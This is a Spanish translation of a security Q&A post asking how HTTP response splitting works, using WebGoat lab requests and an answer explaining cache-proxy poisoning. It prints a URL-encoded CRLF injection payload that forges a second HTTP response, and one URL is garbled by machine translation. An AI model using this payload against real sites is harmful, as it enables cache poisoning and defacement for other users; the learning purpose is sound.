División de respuesta HTTP: ¿se trata del almacenamiento en caché del navegador o del servidor?

3

Estoy tratando de envolver mi cabeza alrededor de la división de respuesta HTTP. Aunque usé WebGoat, etc., pude aprender a hacerlo en la práctica, pero creo que todavía estoy confundido con una comprensión muy fundamental de cómo funciona realmente. Esperando que alguien me ayude a superar mi confusión.

Por lo que entiendo sobre la división de respuesta HTTP es

Digamos que hay una aplicación vulnerable que toma la entrada del usuario y realiza una redirección basada en la entrada del usuario.

Ejemplo: (tomado de WebGoat)

Solicitud 1:

POST /WebGoat/lessons/General/redirect.jsp?Screen=2&menu=100 HTTP/1.1
Host: 10.0.2.15:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=abcd
Cookie: JSESSIONID=C55746E2740F744BC2D6F3D415570A71
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

language=abcd&SUBMIT=Search%21

Como respuesta a esta solicitud, la aplicación realiza un redireccionamiento 302 y la siguiente respuesta se envía de vuelta al navegador:

Respuesta 1:

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=abcd
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 0
Date: Tue, 03 Nov 2015 17:16:37 GMT

Ahora, cuando el navegador recibe esta respuesta, sabiendo que se trata de una redirección 302, el navegador realiza otra solicitud al servidor en la ruta especificada por el encabezado "Ubicación" en la respuesta anterior. Así que la siguiente petición es como:

Solicitud 2:

GET /WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=abcd HTTP/1.1
Host: 10.0.2.15:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=null
Cookie: JSESSIONID=C55746E2740F744BC2D6F3D415570A71
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Connection: keep-alive

Ahora, cuando el servidor recibe esta solicitud, busca el recurso especificado y maneja la solicitud en consecuencia y responde a la respuesta correspondiente, que es representada por el navegador.

Ahora tome en consideración el mismo escenario anterior y esta vez con una carga útil de división de respuesta HTTP: Así que ahora:

Solicitud de ataque 1:

POST /WebGoat/lessons/General/redirect.jsp?Screen=2&menu=100 HTTP/1.1
Host: 10.0.2.15:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&Restart=2
Cookie: JSESSIONID=C55746E2740F744BC2D6F3D415570A71
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 249

language=abcd%250AContent-Length%253A%25200%250A%250AHTTP%252F1.1%2520200%2520OK%250AContent-Type%253A%2520text%252Fhtml%250AContent-Length%253A%252035%250A%250A%253Chtml%253ESorry%252C%252520System%252520Down%253C%252Fhtml%253E&SUBMIT=Search%21

Y la respuesta recibida para esto es:

Respuesta de ataque 1:

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=advanced%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0AContent-Length%3A%2035%0A%0A%3Chtml%3ESorry%2C%2520System%2520Down%3C%2Fhtml%3E
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 0
Date: Tue, 03 Nov 2015 17:24:00 GMT

Y ahora

Solicitud de ataque 2: sería

GET /WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=advanced%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0AContent-Length%3A%2035%0A%0A%3Chtml%3ESorry%2C%2520System%2520Down%3C%2Fhtml%3E HTTP/1.1
Host: 10.0.2.15:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&Restart=2
Cookie: JSESSIONID=C55746E2740F744BC2D6F3D415570A71
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Connection: keep-alive

Así que ahora el servidor obtiene una solicitud de un recurso en:

  

/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=advanced%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A% 20text% 2Fhtml% 0Contenido-longitud% 3A% 2035% 0A% 0A% 3Chtml% 3Servicio% 2C% 2520Distema% 3C% 2Fhtml% 3E

en el servidor. Este recurso no existe realmente en el servidor. Además, este recurso tiene cabeceras de respuesta como parte del recurso solicitado.

Así que ahora mi confusión es ¿cómo maneja esto el servidor? ¿Qué hace realmente el servidor con los encabezados de respuesta que vienen en la solicitud? Y más específicamente, ¿cómo conduce esto a un ataque de división de respuesta?

Mi dirección de pensamiento es que cuando hablamos de Attack Response 1 , entonces el navegador ve que la solicitud tiene 2 respuestas. Por lo tanto, el navegador toma la primera parte de la respuesta para la primera solicitud que realizó y almacena en caché la segunda parte de la respuesta para la siguiente solicitud que se realizará. En nuestro caso, la siguiente solicitud es Solicitud de ataque 2 . Entonces, cuando se realiza esta solicitud, el navegador simplemente sirve la respuesta ya almacenada en caché (la segunda parte de la respuesta anterior) para Attack Request 2 . Y así es como funcionó la división de respuesta HTTP. Así que aquí estamos jugando básicamente con la memoria caché del navegador (al contrario de algunos artículos que leí que mencionan que la división de la Respuesta HTTP es sobre la memoria caché del servidor)

¿Tengo razón en mi comprensión de lo anterior? Puede que me esté faltando algo muy básico. Por favor ten paciencia conmigo en este caso.

    
pregunta qre0ct 05.11.2015 - 11:06
fuente

1 respuesta

1

No del todo. La respuesta de ataque # 1 es el final del juego; no hay peticiones hechas después del ataque. Tienes razón en que contiene dos respuestas, divididas por los caracteres inyectados. Es posible que esto no afecte al navegador, sin embargo, algunos proxies de almacenamiento en caché pueden almacenar en caché esta respuesta. Si esto sucede, la próxima vez que un usuario solicite la página original a través del proxy de almacenamiento en caché, se le presentará la respuesta falsa en caché.

Sin esa última parte, solo estarías atacándote a ti mismo. La clave es que la segunda solicitud engaña a algunos servidores proxy de almacenamiento en caché entre el servidor y algunos usuarios, y devuelve los datos de caché falsificados en lugar del sitio real.

A menudo, uno puede tener que jugar con algunos de los encabezados para forzar al proxy a que lo almacene en caché. Además, todo esto supone que hay un proxy en algún lugar a lo largo de la línea que se almacenará en la memoria caché.

    
respondido por el multithr3at3d 06.11.2015 - 04:43
fuente

Lea otras preguntas en las etiquetas